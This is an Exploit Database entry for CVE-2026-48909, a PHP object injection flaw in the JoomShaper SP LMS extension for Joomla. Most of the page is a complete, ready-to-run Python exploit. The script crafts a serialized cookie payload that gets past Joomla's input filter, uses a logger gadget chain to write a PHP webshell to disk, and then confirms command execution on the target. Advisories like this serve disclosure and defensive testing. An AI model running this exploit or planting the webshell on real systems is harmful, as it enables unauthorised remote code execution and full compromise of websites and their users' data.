This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Joomla Extension 4.1.4 - PHP Object injection EDB-ID: 52617 CVE: 2026-48909 EDB Verified: Author: AMIN İSAYEV Type: WEBAPPS Exploit: / Platform: PHP Date: 2026-07-06 Vulnerable App: Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection Affected : JoomShaper SP LMS <= 4.1.3 Fixed : JoomShaper SP LMS >= 4.1.4 Author : Amin İsayev / Proxima Cyber Security Joomla version note: RCE requires Joomla < 5.2.2 Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the gadget chain — PHP Object Injection still exists in com_splms but no known public gadget chain leads to RCE on patched Joomla versions. Attack chain: lmsOrders cookie → unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28] → FormattedtextLogger.__destruct() [Joomla gadget] → File::write($path, $format) → webshell on disk Joomla Input filter note: $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie. Fix: pad format string so serialized total is divisible by 3 (no '=') and iterate until base64 has no '/' (shifts encoding). Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n Usage: python3 CVE-2026-48909_exploit.py <target> <server_path> server_path = absolute PHP-writable path on server Examples : /var/www/html/tmp/x.php /home/USER/public_html/tmp/x.php /var/www/vhosts/site.com/httpdocs/tmp/x.php """ import sys import base64 import requests import urllib3 urllib3.disable_warnings() CART_PATH = "/index.php?option=com_splms&view=cart" TIMEOUT = 15 WEBSHELL = '<?php fpassthru(popen($_GET["c"],"r"));?>' # ─── PHP serializer ─────────────────────────────────────────────────────────── def _s(s: str) -> str: return f's:{len(s.encode())}:"{s}";' def _pk(name: str) -> str: """Protected property key (null-byte notation for string concat)""" return f'\x00*\x00{name}' def _build_serialized(webshell_path: str, fmt: str) -> str: """Build the raw PHP serialized string (not yet base64).""" entry = ( 'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{' 's:4:"date";s:10:"1234567890";' 's:4:"time";s:1:"t";' 's:1:"f";s:3:"xxx";' '}' ) cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger' props = ( _s(_pk('defer')) + 'b:1;' + _s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' + _s(_pk('path')) + _s(webshell_path) + _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' + _s(_pk('format')) + _s(fmt) + _s(_pk('fields')) + 'a:0:{}' ) return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}' def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]: """ Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter. The filter strips '/', '=' and '+'. We avoid these by: 1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format 2. Padding format to make total serialized length divisible by 3 → no '=' padding 3. Iterating pad size (by 3) until base64 contains no '/' chars Returns (base64_payload, format_length). """ hex_code = php_code.encode().hex() core = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));' pad_prefix = '/*' pad_suffix = '*/;?>' PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for target_fmt_len in range(200, 8000): pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix) if pad_len < 0: continue # Quick mod-3 check with first pad_char before trying all 62 fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1') if len(ser_probe) % 3 != 0: continue # no pad_char can fix mod-3 alignment for this length for pad_char in PAD_CHARS: fmt = core + pad_prefix + pad_char * pad_len + pad_suffix serialized = _build_serialized(webshell_path, fmt) ser_bytes = serialized.encode('latin-1') b64 = base64.b64encode(ser_bytes).decode() if '/' not in b64 and '+' not in b64: return b64, len(fmt) raise RuntimeError("Could not find filter-safe payload — try a different path") # ─── Exploit ────────────────────────────────────────────────────────────────── def _server_path_to_url(server_path: str) -> str: """Strip webroot prefix to get the URL path.""" import re # cPanel: /home[N]/USER/public_html/... m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path) if m: return m.group(1) # Plesk: /var/www/vhosts/DOMAIN/httpdocs/... m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path) if m: return m.group(1) # Standard for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'): if server_path.startswith(prefix): return server_path[len(prefix):] return server_path def exploit(target: str, server_path: str) -> None: url_path = _server_path_to_url(server_path) cart_url = target.rstrip('/') + CART_PATH shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path) session = requests.Session() session.verify = False session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', }) print(f"[*] Target : {target}") print(f"[*] Shell path : {server_path}") print(f"[*] Shell URL : {shell_url}") print("[*] Building filter-safe payload...") payload, fmt_len = build_payload(server_path, WEBSHELL) print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}") print(f"[*] Payload : {payload[:60]}...") print() try: r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT) status = r.status_code if status == 500: print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)") elif status == 200: print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered") else: print(f"[?] HTTP {status}") except requests.RequestException as e: print(f"[!] Request failed: {e}") return import time; time.sleep(1) # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell print("[*] Step 1: triggering fopen/fwrite loader...") try: r1 = session.get(shell_url, timeout=TIMEOUT) print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)") except requests.RequestException as e: print(f"[!] Loader request failed: {e}") # Step 2: verify RCE print("[*] Step 2: checking shell...") try: rv = session.get(shell_url + '?c=id', timeout=TIMEOUT) if rv.status_code == 200 and 'uid=' in rv.text: print(f"\n[+] SHELL ACTIVE!") print(f"[+] id: {rv.text.strip()[:200]}") print(f"\n curl -sk '{shell_url}?c=COMMAND'") elif rv.status_code == 200 and len(rv.text.strip()) < 600: print(f"\n[~] File accessible:") print(f" {rv.text.strip()[:300]}") print(f"\n Try again: curl -sk '{shell_url}?c=id'") elif rv.status_code == 404: print(f"[-] Shell not found (404) — file not written or wrong path") print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php") elif rv.status_code == 403: print(f"[~] 403 — file may exist but PHP not served there") else: print(f"[-] HTTP {rv.status_code}") except requests.RequestException as e: print(f"[!] Shell check failed: {e}") def main(): if len(sys.argv) < 3: print(__doc__) sys.exit(1) exploit(sys.argv[1], sys.argv[2]) if __name__ == '__main__': main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.